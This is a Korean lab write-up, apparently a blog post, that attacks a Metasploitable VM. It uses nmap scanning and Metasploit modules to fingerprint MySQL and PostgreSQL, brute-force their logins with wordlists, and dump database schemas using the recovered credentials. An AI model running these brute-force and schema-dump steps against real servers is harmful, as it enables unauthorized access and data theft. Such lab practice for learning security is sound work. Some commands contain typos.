본문 바로가기

전공 공부/리눅스 보안 실습

SQL 서버 무차별 대입 공격 및 스키마 구조 알아내기

728x90

이 글은 교육목적으로 작성하는 것으로 절대 타인의 컴퓨터에 공격을 해서는 안됩니다.

범죄 행위이고 처벌을 받을 수 있습니다.

모든 해킹 행위는 자기 자신에게 책임이 있습니다.

 

제 블로그는 불법적인 해킹 행위를 권장하거나 유도하지 않습니다. 오로지 테스트 및 연습 목적으로 읽어주시면 감사하겠습니다.



피해자 SQL 서버는 Metasploitable을 사용하여 진행하였습니다.

1. NMAP을 이용한 SQL 서비스 스캔

nmap -sT -sV -O 192.168.196.142

sql 서버의 취약점 공격을 위해서는 서버에 대해 파악할 필요가 있습니다.

 

네트워크 스캐닝 도구인 nmap을 사용해서 먼저 피해자 서버를 스캔해 줍니다.

-sT -sV -O 옵션을 이용해 TCP 포트에 설치되어 있는 서비스와 운영체제를 검색하였습니다.

 

3306/tcp 포트에 mysql 서비스가 열려있다는 정보와 5432/tcp 포트에 postgresql 서비스가 열려 있는 것을 확인했습니다.

2. postgreSQL 스캐닝

 

options에서 스캐닝을 위한 필요한 옵션을 확인할 수 있습니다.

 

use auxiliary/scanner/postgres/postgres_version
set rhost 192.168.196.142/24
set threads 256
run

postgreSQL의 버전에에 대해 수집할 수 있습니다.

postgreSQL 8.3.1 버전이 우분투에 설치되어 있는 것을 확인할 수 있습니다.

 

2. mySQL 스캐닝

use auxiliary/scanner/mysql/mysql_version
set rhost 192.168.169.142/24
set threads 256
run

MySQL 5.0.51a-3 ubuntu5이 설치되어 있는 것을 확인할 수 있습니다.

 

3. 무차별 대입 공격으로 패스워드 알아내기(MYSQL,  postgreSQL)

https://epicarts.tistory.com/50?category=816044

 

무차별 대입 공격(msfconsole)

이 글은 교육목적으로 작성하는 것으로 절대 타인의 컴퓨터에 공격을 해서는 안됩니다. 범죄 행위이고 처벌을 받을 수 있습니다. 모든 해킹 행위는 자기 자신에게 책임이 있습니다. 제 블로그는 불법적인 해킹행위..

epicarts.tistory.com

이전에 했던 무차별 대입 공격을 이용해 패스워드를 알아보겠습니다.

 

use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.196.142
set user_file /root/users.txt
set pass_file /root/passwords_test.txt
set stop_on_success ture
set threads 256
run

미리 /root/users.txt 와 /root/passwords_test.txt 에 추가 패스워드와 유저 id 리스트를 추가시켜 놓았습니다.

 

해당 서버로 무차별 대입 공격을 시키면 mysql의 아이디는 root, 패스워드는 1234로 나오는 것을 확인할 수 있습니다.

 

 

마찬가지로 보조도구인 auxiliary의 poastgres_login을 사용하여 postgres의 아이디와 패스워드를 알아내었습니다.

 

 

4. 데이터 베이스 구조 알아내기(MYSQL,  postgre SQL)

이제 mysql의 패스워드를 알아냈으니 이를 이용해 데이터 베이스 구조를 알아보겠습니다.

 

가장 먼저 기본적으로 mysql로 직접 접속을 하여 명령어를 이용해 전체적인 데이터베이스 구조를 알아낼 수 있습니다.

 

 

use auxiliary/scanner/mysql/mysql_schemadump
set rhosts 192.168.196.142
set username root
set password 1234
set threads 256
run

metasploit의 mysql_schmadump를 사용하면 전체 데이터베이스 구조를 쉽게 파일로 만들어서 저장할 수 있습니다.

mysql의 데이터베이스 이름과 Tables 그리고 Column 구조들을 손쉽게 확인할 수 있으며, txt 파일로 저장을 합니다.

 

 

 

use auxiliary/scanner/postgres/postgres_schemadump
set rhosts 192.168.196.142
set username postgres
set password postgres
set threads 256
run

postgres 또한 마찬가지로 데이터베이스를 구조를 손쉽게 추출할 수 있습니다.

현재 postgres SQL 서버는 열려있으나 저장되어 있는 구조나, 데이터가 없는 것을 확인할 수 있습니다.

 

 

728x90